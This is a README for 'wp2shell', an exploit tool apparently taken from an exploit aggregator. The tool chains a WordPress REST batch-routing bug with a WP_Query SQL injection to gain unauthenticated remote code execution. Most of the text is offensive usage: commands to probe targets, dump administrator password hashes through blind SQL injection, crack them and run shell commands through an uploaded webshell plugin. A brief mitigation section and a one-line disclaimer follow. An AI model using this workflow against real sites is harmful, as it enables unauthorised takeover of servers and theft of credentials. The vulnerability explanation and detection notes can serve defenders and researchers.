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## https://sploitus.com/exploit?id=B294C13B-339B-5367-A244-C3C759B2E0D5
# wp2shell by : lucifer0xf 


  


**Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)**

`wp2shell` exploit for critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in `WP_Query` to achieve **unauthenticated remote code execution** on vulnerable WordPress installations.

| Detail | Info |
|--------|------|
| **CVEs** | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (`author__not_in` SQLi) |
| **Affected** | WordPress 6.9.0 โ€“ 6.9.4, 7.0.0 โ€“ 7.0.1 |
| **Patched** | 6.9.5, 7.0.2 |
| **Auth Required** | None โ€” unauthenticated |
| **CVSS** | Critical (RCE chain) |
| **Discovered By** | Adam Kues (Assetnote / Searchlight Cyber) |
| **Dependencies** | Python 3.8+ โ€” **standard library only** |

---

## How It Works

The exploit chains two bugs in WordPress core:

1. **CVE-2026-60137 โ€” SQL Injection** โ€“ When `author__not_in` is passed as a **string** instead of an array, WordPress skips the `is_array()` sanitisation guard and interpolates the raw value into a `NOT IN (...)` SQL clause.

2. **CVE-2026-63030 โ€” Batch Route Confusion** โ€“ The `/wp-json/batch/v1` endpoint builds parallel `$matches` and `$validation` arrays. A malformed sub-request is appended to `$validation` but not `$matches`, causing a +1 index shift. Sub-request *i* gets dispatched with sub-request *i+1*'s handler.

**Chained together**: A `POST /wp/v2/posts` request carrying an inner `GET /wp/v2/users` request with an `author_exclude` string bypasses both the method allow-list and input sanitisation. The string reaches `WP_Query` as `author__not_in` and gets interpolated into SQL โ€” giving you **unauthenticated blind SQL injection**.

From there, the tool can:
- Extract the administrator password hash
- Authenticate as admin (once the hash is cracked)
- Upload a malicious plugin
- Execute arbitrary system commands

---

## Features

| Feature | Description |
|---------|-------------|
|  **Vulnerability Check** | Safe time-delay probe โ€” reads no data, changes nothing |
|  **Data Extraction** | Blind SQL injection with binary-search optimisation for efficient extraction |
|  **User Hash Dump** | Extract `user_login` and `user_pass` hashes from `wp_users` |
|  **Remote Code Execution** | Authenticate as admin, upload a webshell plugin, execute commands |
|  **Interactive Shell** | Persistent command execution session |
|  **Colour Output** | Clear visual feedback for scan results |
|  **No Dependencies** | Uses only Python's standard library |

---

## Installation

```bash
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
```

That's it. No third-party packages required.

---

## Usage

```
./wp2shell.py  [command] [options]
```

### Interactive Mode (Menu-Driven)

```bash
./wp2shell.py http://target.com
```

Launches an interactive menu with all functionality available via numbered options.

### Commands

#### `check` โ€” Confirm Vulnerability (Safe)

Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.

```bash
./wp2shell.py http://target.com check
```

#### `read` โ€” Extract Data (Blind SQL Injection)

Extracts information from the database using time-based blind SQL injection.

```bash
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
```

#### `shell` โ€” Remote Code Execution

**Requires valid administrator credentials.** The SQL injection can recover the password hash, but you must supply the recovered plaintext password.

```bash
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
```

---

## Options

| Option | Description |
|--------|-------------|
| `--users` | Extract `user_login` and `user_pass` from `wp_users` |
| `--database` | Extract the current database name |
| `--version` | Extract the MySQL version |
| `--query "SQL"` | Execute a custom SQL query (blind extraction) |
| `--user USER` | Admin username for RCE |
| `--password PASS` | Admin password for RCE (plaintext, recovered via SQLi) |
| `--cmd CMD` | Command to execute via the webshell |

---

## Example Workflow

```bash
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400  /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
```

---

## Affected Versions

| Branch | Affected | Fixed |
|--------|----------|-------|
| 6.9.x | 6.9.0 โ€“ 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 โ€“ 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 โ€“ 6.8.5 (SQLi only, no RCE) | 6.8.6 |

Versions before 6.9.0 are **not** affected by the full RCE chain.

---

## Detection & Mitigation

**For Defenders:**
- Update to **6.9.5**, **7.0.2**, or later immediately
- Cloudflare WAF customers are automatically protected
- Wordfence customers have firewall rules
- Monitor for `POST /wp-json/batch/v1` requests with nested `requests` bodies
- A `404` on the batch route doesn't always mean "patched" โ€” it can also mean a WAF/CDN is blocking anonymous REST API access

---

## Legal Disclaimer

> **This tool is for educational and authorised security testing purposes only.**

---

## Credits

- **Discovery**: Adam Kues (Assetnote / Searchlight Cyber)
- **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
- **CVE-2026-63030** (Batch route confusion): Adam Kues